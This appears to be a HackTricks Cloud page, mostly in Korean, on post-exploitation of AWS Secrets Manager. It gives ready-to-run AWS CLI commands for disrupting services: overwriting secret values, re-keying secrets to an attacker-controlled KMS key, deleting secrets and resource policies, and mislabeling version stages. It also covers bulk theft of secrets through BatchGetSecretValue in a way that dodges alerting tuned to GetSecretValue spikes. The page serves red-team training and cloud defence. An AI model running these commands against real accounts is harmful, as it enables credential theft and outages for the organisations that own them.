AWS - Secrets Manager Post Exploitation
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Secrets Manager
자세한 내용은 다음을 확인하세요:
Secrets 읽기
The Secrets 자체가 민감한 정보입니다, check the privesc page to learn how to read them.
DoS — Secret 값 변경
secret의 값을 변경하면 해당 값에 의존하는 모든 시스템을 DoS할 수 있습니다.
warning
이전 값도 저장되므로 이전 값으로 쉽게 되돌릴 수 있습니다.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
만약 attacker가 secretsmanager:UpdateSecret 권한을 가지고 있다면, 그들은 secret이 attacker가 소유한 KMS key를 사용하도록 구성할 수 있다. 그 key는 처음에 누구나 접근하고 사용할 수 있도록 설정되어 있어서 secret을 새로운 key로 업데이트하는 것이 가능하다. 만약 그 key에 접근할 수 없었다면 secret을 업데이트할 수 없었을 것이다.
secret의 key를 변경한 뒤, attacker는 자신의 key 구성을 변경하여 자신만 접근할 수 있도록 만든다. 이렇게 하면 이후 버전의 secret들은 새로운 key로 암호화되고, 해당 key에 대한 접근이 없기 때문에 secret을 가져오는 능력을 잃게 된다.
이 접근 불가 상태는 secret의 내용이 변경된 이후의 이후 버전들에서만 발생한다는 점을 주의해야 한다. 현재 버전은 여전히 원래의 KMS key로 암호화되어 있기 때문이다.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Deleting Secret
비밀을 삭제하기 위한 최소 일수는 7일입니다
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
secret을 복원할 수 있습니다. 이는 삭제 예약된 secret을 복원할 수 있게 해주는데, secret의 최소 삭제 기간은 7일이고 최대는 30일입니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 secret의 내용을 가져올 수 있습니다.
삭제 중인 secret을 복구하려면 다음 명령을 사용할 수 있습니다:
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
이 액션은 누가 secret에 접근할 수 있는지를 제어하는 리소스 정책을 삭제할 수 있게 합니다. 리소스 정책이 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면 이는 DoS로 이어질 수 있습니다.
리소스 정책을 삭제하려면:
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
비밀의 상태는 비밀의 버전을 관리하는 데 사용됩니다. AWSCURRENT는 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요 시 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING은 rotation 프로세스에서 현재 버전으로 만들기 전에 새 버전을 준비하고 검증하는 데 사용됩니다.
애플리케이션은 항상 AWSCURRENT 라벨이 붙은 버전을 읽습니다. 누군가 해당 라벨을 잘못된 버전으로 옮기면, 애플리케이션은 잘못된 자격증명을 사용하게 되어 실패할 수 있습니다.
AWSPREVIOUS는 자동으로 사용되지 않습니다. 그러나 AWSCURRENT가 삭제되거나 잘못 재지정되면 모든 것이 여전히 이전 버전으로 실행되는 것처럼 보일 수 있습니다.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
Secrets Manager의 BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 가져올 수 있습니다. 이렇게 하면 각 secret마다 GetSecretValue를 반복 호출하는 것에 비해 API 호출 수를 크게 줄일 수 있습니다. filters (tags/name)가 사용되는 경우, ListSecrets 권한도 필요합니다. CloudTrail은 배치에서 가져온 각 secret에 대해 여전히 GetSecretValue 이벤트를 하나씩 기록합니다.
Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue (각 대상 secret에 대해)
- secretsmanager:ListSecrets (--filters 사용 시)
- kms:Decrypt (secrets에서 사용된 CMKs에 대해, aws/secretsmanager를 사용하지 않는 경우)
warning
권한 secretsmanager:BatchGetSecretValue만으로는 secret을 가져오기에는 충분하지 않습니다. 가져오려는 각 secret에 대해 secretsmanager:GetSecretValue도 필요합니다.
Exfiltrate by explicit list
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrate — 필터(태그 key/value 또는 이름 접두사)를 통해
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
부분 실패 처리
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
영향
- 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여 GetSecretValue의 급증에 맞춰진 alerting을 우회할 수 있음.
- CloudTrail 로그에는 배치로 가져온 각 secret마다 여전히 하나의 GetSecretValue 이벤트가 포함됩니다.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud